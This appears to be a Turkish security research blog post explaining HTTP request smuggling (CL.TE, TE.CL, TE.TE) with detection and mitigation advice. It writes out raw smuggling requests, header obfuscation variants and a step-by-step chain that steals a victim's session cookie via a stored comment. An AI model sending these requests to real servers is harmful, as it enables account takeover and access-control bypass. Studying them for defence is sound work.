HTTP Request Smuggling: Front-End/Back-End HTTP Parse Uyumsuzluğunu Sömürmek
Thu May 28 2026 · 3 min read
Category: Security Research
Giriş: HTTP/1.1'de Saklı Bir Uyumsuzluk
Modern web mimarilerinin neredeyse tamamı katmanlıdır: önde bir CDN veya ters proxy (Nginx, HAProxy, Cloudflare), arkada bir uygulama sunucusu (Apache, Node.js, Gunicorn). Bu iki katman, aynı TCP bağlantısı üzerinden HTTP isteklerini birbirine iletir — bu mekanizma HTTP Connection: keep-alive ile mümkün olur.
Bu katmanlar arasında kritik bir soru vardır: "Bu isteğin gövdesi nerede bitiyor?"
HTTP/1.1 bu soruyu iki farklı başlıkla yanıtlar:
- Content-Length (CL): "Gövde tam olarak N byte uzunluğundadır."
- Transfer-Encoding: chunked (TE): "Gövde parçalar halinde gelecek; sıfır uzunluklu parça gelince biter."
Bir istekte her ikisi de varsa RFC 7230 şunu söyler: Transfer-Encoding önceliklidir. Ancak tüm sunucular bu kuralı uygulamaz. İşte bu uyumsuzluk saldırı yüzeyini oluşturur.
CL.TE Saldırısı
En yaygın desync türü: ön-uç CL kullanır, arka-uç TE kullanır.
Savunmasız senaryo:
Front-end (CDN/Proxy): Content-Length'e göre parse eder
Back-end (App Server): Transfer-Encoding: chunked'a göre parse eder
Saldırı isteği:
POST / HTTP/1.1
Host: target.com
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling-test
0
GET /admin HTTP/1.1
X-Ignore: x
Ön-uç perspektifi:
Content-Length = 49 → tüm gövdeyi (49 byte) okur → arka-uca iletir. Güvenlik kontrolleri? Yol "/" → sorun yok.
Arka-uç perspektifi:
Transfer-Encoding: chunked kullanır:
e(14) → 14 byte okur:q=smuggling-test\r\n0→ chunked gövde bitti, istek tamamlandı- Kalan:
GET /admin HTTP/1.1\r\nX-Ignore: x→ TCP buffer'da bekler
Bir sonraki kullanıcının isteği geldiğinde, arka-uç onu şöyle görür:
GET /admin HTTP/1.1
X-Ignore: xGET /profile HTTP/1.1
Host: target.com
Cookie: session=kurban_token_buraya
Kurbanın isteği, saldırganın /admin prefix'ine "yapıştırılmış" halde işlenir.
TE.CL Saldırısı
Diğer yön: ön-uç TE kullanır, arka-uç CL kullanır.
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
Ön-uç: Chunked parse eder → "8" byte chunk okur → "0" ile biter → tüm mesajı arka-uca iletir.
Arka-uç: Content-Length = 3 kullanır → ilk 3 byte'ı gövde olarak alır (8\r\n) → gerisi buffer'da kalır: SMUGGLED\r\n0\r\n\r\n
Bu kalan veri, bir sonraki isteğin başına eklenir.
TE.TE Saldırısı: Obfuscation Yoluyla
Her iki sunucu da Transfer-Encoding'i destekliyorsa, encoding'i gizleyerek birinin atlasını sağlamak mümkündür:
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked, chunked
Transfer-Encoding:chunked
Transfer-Encoding: x
RFC'ye uygun olmayan bir sunucu bu başlıkları görmezden gelir ve CL'ye düşer. Diğer sunucu chunked'ı tanır ve TE'yi kullanır. Sonuç: yine desync.
Saldırı Zinciri: Hesap Ele Geçirme
Adım adım kurban session token'ını çalmak:
1. Tuzak isteği gönder:
POST / HTTP/1.1
Host: target.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /comment HTTP/1.1
Host: target.com
Content-Length: 200
comment=
2. Kurbanın isteği smug edilmiş yorum gövdesine eklenir:
Arka-uç, kurbanın Cookie: session=... başlığını comment= değerinin devamı olarak işler. Yorum veritabanına kaydedilir.
3. Yorumu oku:
GET /comments HTTP/1.1
Kurbanın tüm HTTP başlıkları (Cookie dahil) yorum içeriğinde görünür.
Tespit: Burp Suite ile
1. Burp Suite → Proxy → HTTP Smuggler extension
2. Manuel CL.TE testi:
import requests
# Zaman farkı testi: normal istek ile karşılaştır
normal_time = requests.post("http://target.com/", timeout=10).elapsed.total_seconds()
# CL.TE probe — yanlış chunk size ile 10 saniyelik gecikme beklenir
payload = "POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nX"
probe_time = # ... gönder ve süreyi ölç
if probe_time > normal_time + 8:
print("[!] CL.TE desync muhtemelen mevcut!")
3. HTTP Request Smuggler (Burp extension): Otomatik olarak CL.TE, TE.CL, TE.TE varyantlarını dener ve zaman farklarını ölçer.
Etki Alanları
| Saldırı | Sonuç |
|---|---|
| Request prefix injection | Kurbanın cookie/header'larını çal |
/admin bypass |
Güvenlik duvarı kurallarını atla |
| Cache poisoning | Zararlı yanıtı önbelleğe al |
| Web cache deception | Kişisel sayfaları önbelleğe aldır |
| Reflected XSS amplification | Smuggle ile XSS yayılımı |
Önlem
1. Back-end'de Transfer-Encoding başlığını devre dışı bırakın (eğer CDN zaten handle ediyorsa):
proxy_http_version 1.1;
proxy_set_header Connection "";
# TE başlığını temizle:
proxy_set_header Transfer-Encoding "";
2. HTTP/2 kullanın: HTTP/2'de request smuggling bu formda mümkün değildir (binary framing).
3. Normalize edin: Back-end'e iletmeden önce hem CL hem TE varsa isteği reddedin.
4. CDN/Proxy'yi güvenilir ayarlarla yapılandırın: Çelişen başlıkları sessizce geçirmeyin.
Sonuç
HTTP Request Smuggling, iki güvenilir sunucunun birbiriyle konuşurken oluşan güvenden doğar. Saldırganın hedef uygulamaya doğrudan erişimi olmaksızın, yalnızca bir "garip" istek göndererek başka kullanıcıların oturumlarını çalabilmesi — bu tekniğin ne kadar güçlü ve sinsi olduğunu gösterir.
James Kettle'ın DEF CON 26'da sunduğu bu araştırma, bugün hâlâ birçok büyük CDN ve proxy'de aktif güvenlik açıkları bulmaya devam etmektedir.
Araştırmacı: James Kettle / PortSwigger Research
İlk Sunum: DEF CON 26, Black Hat USA 2019
Referans: https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
Sıkça Sorulan Sorular
HTTP Request Smuggling nedir?
Ön-uç ve arka-uç sunucuların bir HTTP isteğinin nerede bitip diğerinin nerede başladığı konusundaki uyumsuzluğunu sömüren bir saldırıdır; saldırganın gizli istek verisini başka bir kullanıcının isteğinin önüne eklemesine imkan verir.
CL.TE ile TE.CL arasındaki fark nedir?
CL.TE, ön-ucun Content-Length header'ını, arka-ucun ise Transfer-Encoding'i kullanması demektir; TE.CL bunun tersidir. Her sunucunun hangi header'a uyduğu konusundaki desync, gizli isteği kaçıran şeydir.
Request smuggling ne ile zincirlenebilir?
İstek/yanıt kuyruğu zehirlemesiyle hesap ele geçirme, WAF veya kimlik doğrulama gibi ön-uç güvenlik kontrollerini atlatma, web cache poisoning ve diğer kullanıcıların kimlik bilgileri ya da oturum token'ları dahil isteklerini yakalama.
Request smuggling nasıl önlenir?
Uçtan uca HTTP/2 kullanın, hem Content-Length hem Transfer-Encoding içeren belirsiz istekleri reddedin, istekleri ön-uçta normalleştirin ve ön-uç ile arka-ucun birebir aynı parse kurallarını paylaşmasını sağlayın.